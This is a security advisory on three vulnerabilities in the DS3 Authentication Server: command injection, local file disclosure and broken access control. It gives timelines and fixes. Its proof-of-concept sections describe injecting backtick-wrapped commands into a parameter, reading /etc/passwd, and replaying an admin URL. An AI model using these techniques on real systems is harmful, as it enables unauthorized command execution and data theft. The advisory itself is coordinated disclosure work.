Business recommendation:
------------------------
The vendor provides a patch and users of this product are urged to
upgrade to the latest version available.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security
issues.


Vulnerability overview/description:
-----------------------------------
The DS3 Authentication Server is prone to several security issues as described
below that when combined, allows a low-privileged application user to upload a
JSP web shell with the access rights of the lower privileged Linux system
user "asadmin".

The CVSSv3 scores have been provided by the vendor.


1) Semi-Blind OS Command Injection (Post-authenticated)
- CVE-2019-9156
- CWE-78
- CVSSv3: 6.8 (Medium)

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L
The DS3 Authentication Server provides several administration tools to perform
connectivity checks. "TestTelnetConnection.jsp" does not correctly validate the
user input for the "HOST_NAME" and "PORT_NUMBER" parameters, allowing an
attacker to execute arbitrary commands on the server side with the privileges
of the local system user "asadmin".

2) Limited Local File Disclosure (LFD) (Post-authenticated)
- CVE-2019-9157
- CWE-538
- CVSSv3: 5.7 (Medium)

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
The DS3 Authentication Server provides several administration tools to check the
system's access and error logs. "TailLogs.jsp" does not correctly validate the
user input for the "LOG_TYPE" parameter, allowing an attacker to read arbitrary
local files with the privileges of the local system user "asadmin".

3) Broken Access Control (Post-authenticated)
- CVE-2019-9158
- CWE-284
- CVSSv3: 5.7 (Medium)

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
The DS3 Authentication Server provides several permission groups, granting different
levels of privileges, from the administrative "dsssAdmin" group to the low
privileged "READ_ONLY" group. A user with the "dsssAdmin" group can see more
functions in the menu of the web portal than a user with the "READ_ONLY" group.
However, the user with the "READ_ONLY" group can access some "dsssAdmin"
functions by replaying the POST or GET request directly.


Proof of concept:
-----------------
1) Semi-Blind OS Command Injection (Post-authenticated) (CVE-2019-9156)

This POC was performed using a user with the "READ_ONLY" group permission.

This exploit also has the following two restrictions:
1) The bash commands injected cannot contain any space (' '/%20).
2) The output of the bash commands injected must be null or cannot contain any
space (' '/%20). However, the tester was able to create complex bash commands
payload without any space (' '/%20) by using a bash trick.

The simple OS command payload "whoami" injected into the "HOST_NAME"
parameter and the HTTP response with the result of the payload
"asadmin" mixed in. Please note that the OS command payload is enclosed
with the `` characters.

2) Limited Local File Disclosure (LFD) (Post-authenticated) (CVE-2019-9157)

This POC was performed using an admin user with the "dsssAdmin" group
permission, as the "ADMINISTRATION -> Log Manager -> View Log -> Tail Logs
Utility" function is not accessible to users with the "READ_ONLY" group
permission.

This exploit has the following two restrictions:
1) Only the last 10 lines of the file are displayed.
2) Directory traversal was not allowed, as the parameter cannot contain two
dot (.) characters.

However, the tester was able to bypass the directory traversal restriction by
injecting the arbitrary filename as another argument, rather than to modify
the first argument.

The file "/etc/passwd" injected into the "LOG_TYPE" parameter and the response
with the last 10 lines of the file returned. Please note that the injected
filename is preceded with the + character.

3) Broken Access Control (Post-authenticated) (CVE-2019-9158)

The admin user with the "dsssAdmin" group permission is able to access the
following chain of functions in the menu of the web portal.
* ADMINISTRATION -> Log Manager -> View Log
* ADMINISTRATION -> Log Manager -> View Log -> Tail Logs Utility

The user with the "READ_ONLY" group permission is not able to access the
following chain of function in the menu of the web portal.
* ADMINISTRATION -> Log Manager -> View Log

Based on the web portal, a user with the "READ_ONLY" group permission should
also not be able to access the following chain of function.
* ADMINISTRATION -> Log Manager -> View Log -> Tail Logs Utility

However, it was noted that a user with the "READ_ONLY" group permission is able
to access the "Tail Logs Utility" function with the GET request (captured from
the "dsssAdmin" user's request) directly with the "READ_ONLY" user's session
cookie and CSRFTOKEN token.

https://$IP/ServerAdmin/TailLogs.jsp?LOG_TYPE=audit.log&KEYWORD_FILTER=&REFRESH_RATE=5&TAIL_LINE=392154&CSRFTOKEN=<csrf_token>

Vendor contact timeline:
------------------------
2019-02-27: Contacting vendor through csirt@...alto.com (Gemalto CERT)
2019-03-08: Gemalto CERT confirmed the vulnerabilities for DS3/Ezio Server
            version 2.8.0-update01 and earlier. Requested 2 months disclosure
            embargo period to implement fix for future release.
2019-03-22: Gemalto CERT confirmed the fix for the reported vulnerabilities to
            be included in current sprint and provided CVSSv3 scoring and CWE
            assigned.

2019-04-05: Gemalto CERT provided updated CVSSv3 metrics.
2019-04-18: Gemalto CERT informed that the fix for the 3 vulnerabilities
            was planned in the upcoming of Ezio DS3 server v3.1.0 release
            by 1st week of May, and asked for extension of embargo period.
            Furthermore, Gemalto is now part of the Thales Group.
2019-05-06: Patches available
2019-05-09: Coordinated release of security advisory


Solution:
---------
According to the vendor the patches are provided to the Support Team L2 and
Professional Services team and those teams will get in touch with the technical
contacts of the customers. The update will also be announced via a future newsletter.

Furthermore, SEC Consult have been informed that the branch 2.x of Ezio DS3
server is not fixed yet and a patch will be available at a later date.
However, customers are reminded about deployment guidelines to reduce their attack
surface.


Workaround:
-----------
As the vulnerabilities need authentication with valid credentials to the portal,
it is recommended to deploy the application in a trusted zone and should be
restricted to the customer's internal secure network.
